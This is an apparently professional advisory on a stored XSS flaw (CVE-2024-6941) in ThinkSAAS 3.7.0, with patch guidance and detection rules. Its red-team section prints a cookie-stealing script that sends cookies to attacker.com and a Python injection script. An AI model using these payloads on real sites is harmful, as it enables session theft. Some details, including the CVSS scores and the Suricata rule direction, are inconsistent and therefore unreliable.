CVE-2024-6941

Executive Summary

CVE-2024-6941 is a stored Cross-Site Scripting (XSS) vulnerability identified in ThinkSAAS version 3.7.0. The flaw resides in the file app/system/action/do.php, where multiple site configuration parameters (site_title, site_subtitle, site_key, site_desc, site_url, site_email, site_icp) are not properly sanitized before being stored and later rendered. An attacker with administrative access can inject arbitrary JavaScript, which will execute in the browsers of other administrators or visitors viewing the affected settings. The vulnerability has been publicly disclosed (VDB-272063) with a CVSS score of 0.0 (likely uncalculated or placeholder), but based on the vector, it is a medium-severity issue requiring user interaction. No official patch is currently available, and no exploit code has been published in public repositories.

Supply Chain & Package Security

ThinkSAAS is a PHP-based social networking system. This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) and does not involve a supply chain component. The risk is limited to direct exploitation of the ThinkSAAS application itself.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need prior authentication to trigger the stored XSS, but to inject the payload, administrative access is required. For the reflected/stored aspect, any user viewing the page is affected.
• User Interaction (UI): Required (R) – The victim must visit the affected page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (CVSS 4.3). The vulnerability is easy to exploit but requires user interaction and administrative privileges for injection.

Deep Dive & Mechanics

The vulnerability exists in the app/system/action/do.php file, which handles the saving of site configuration settings. The parameters site_title, site_subtitle, site_key, site_desc, site_url, site_email, and site_icp are accepted via POST requests and stored in the database without proper sanitization or output encoding. When these settings are later rendered in the admin panel or public-facing pages, the injected JavaScript executes in the context of the victim's browser.

Attack Flow:

1. An attacker with administrative access (or who can trick an admin into submitting a crafted request) sends a POST request to do.php with malicious JavaScript in one of the vulnerable parameters.
2. The payload is stored in the database.
3. When any user (including other admins) visits a page that displays these settings (e.g., the site configuration page), the script executes.
4. The attacker can steal session cookies, perform actions on behalf of the victim, or deface the site.

Root Cause: Lack of input validation and output encoding. The application does not use htmlspecialchars() or similar functions when rendering user-controlled data.

Vulnerable vs. Patched Code

Vulnerable Code (ThinkSAAS 3.7.0):

// app/system/action/do.php (simplified)
$site_title = $_POST['site_title'];
$site_subtitle = $_POST['site_subtitle'];
// ... other parameters
$db->query("UPDATE site_config SET value='$site_title' WHERE name='site_title'");
// Later, when rendering:
echo "<title>$site_title</title>";

Patched Code (Hypothetical):

// app/system/action/do.php (patched)
$site_title = htmlspecialchars($_POST['site_title'], ENT_QUOTES, 'UTF-8');
$site_subtitle = htmlspecialchars($_POST['site_subtitle'], ENT_QUOTES, 'UTF-8');
// ... other parameters
$db->query("UPDATE site_config SET value='$site_title' WHERE name='site_title'");
// When rendering:
echo "<title>" . htmlspecialchars($site_title, ENT_QUOTES, 'UTF-8') . "</title>";

Key Differences:

• Input is sanitized using htmlspecialchars() before storage.
• Output is encoded using htmlspecialchars() before rendering.
• Prepared statements should be used to prevent SQL injection (though not the primary issue here).

Exploitation & Lab Setup

Red Team

Prerequisites:

• ThinkSAAS 3.7.0 installed and accessible.
• Administrative credentials (or ability to perform CSRF).

Exploit Steps:

1. Log in as an administrator.
2. Navigate to the site configuration page (e.g., /admin/system/site).
3. Inject a payload into one of the vulnerable fields, e.g., site_title:

   <script>alert('XSS')</script>
   

4. Save the configuration.
5. Any user visiting the site will see the alert.

Advanced Payload (Cookie Stealing):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Automated Exploit (Python):

import requests

target = "http://target.com/app/system/action/do.php"
payload = "<script>alert('XSS')</script>"
data = {
    "site_title": payload,
    "site_subtitle": "test",
    "site_key": "test",
    "site_desc": "test",
    "site_url": "http://test.com",
    "site_email": "test@test.com",
    "site_icp": "test"
}
cookies = {"PHPSESSID": "your_admin_session"}
response = requests.post(target, data=data, cookies=cookies)
print("Payload injected")

Blue Team

Detection:

• Monitor for POST requests to app/system/action/do.php containing suspicious HTML/JavaScript in parameters.
• Look for unexpected changes to site configuration values.
• Use WAF rules to block common XSS patterns.

Hunting:

• Search logs for site_title, site_subtitle, etc., containing <script> tags.
• Review database entries for the site_config table for encoded or malicious content.

Lab Setup:

1. Install ThinkSAAS 3.7.0 on a local server (e.g., XAMPP).
2. Create an admin account.
3. Use Burp Suite or a browser to inject payloads.
4. Monitor with a SIEM or WAF.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /app/system/action/do.php with parameters containing <script> or onerror= etc.
  • Outbound connections to attacker-controlled domains from the server.
• Host:
  • Database entries in site_config table with values containing JavaScript.
  • Modified files in app/system/action/do.php (if attacker patches).
• Logs:
  • Web server logs showing site_title parameter with HTML tags.
  • Error logs from PHP showing unexpected output.

Detection Engineering

YARA Rule

rule CVE_2024_6941_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting ThinkSAAS site configuration"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6941"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
        $param1 = "site_title"
        $param2 = "site_subtitle"
        $param3 = "site_key"
        $param4 = "site_desc"
        $param5 = "site_url"
        $param6 = "site_email"
        $param7 = "site_icp"
    condition:
        any of ($xss*) and any of ($param*)
}

Sigma Rule

title: ThinkSAAS Stored XSS in Site Configuration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-6941 by injecting XSS payloads into ThinkSAAS site configuration parameters.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/app/system/action/do.php'
        cs-uri-query|contains|any:
            - 'site_title='
            - 'site_subtitle='
            - 'site_key='
            - 'site_desc='
            - 'site_url='
            - 'site_email='
            - 'site_icp='
    filter:
        cs-uri-query|contains: '<script'
    condition: selection and filter
falsepositives:
    - Legitimate use of HTML in site title (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6941 ThinkSAAS Stored XSS Injection"; flow:to_server,established; content:"POST"; http_method; content:"/app/system/action/do.php"; http_uri; content:"site_title"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not needed: Block access to /app/system/action/do.php via web server configuration (e.g., .htaccess).
2. Apply input validation: Sanitize all parameters using htmlspecialchars() or a similar function before storage.
3. Apply output encoding: Ensure all user-controlled data is encoded when rendered in HTML context.
4. Use a Web Application Firewall (WAF): Deploy rules to block common XSS patterns.

Long-Term Fix:

• Upgrade to a patched version of ThinkSAAS once available.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct a full security audit of the application.

Workaround:

• Manually edit app/system/action/do.php to add sanitization:

  $site_title = htmlspecialchars($_POST['site_title'], ENT_QUOTES, 'UTF-8');
  

• Restrict administrative access to trusted IPs only.

Valters IT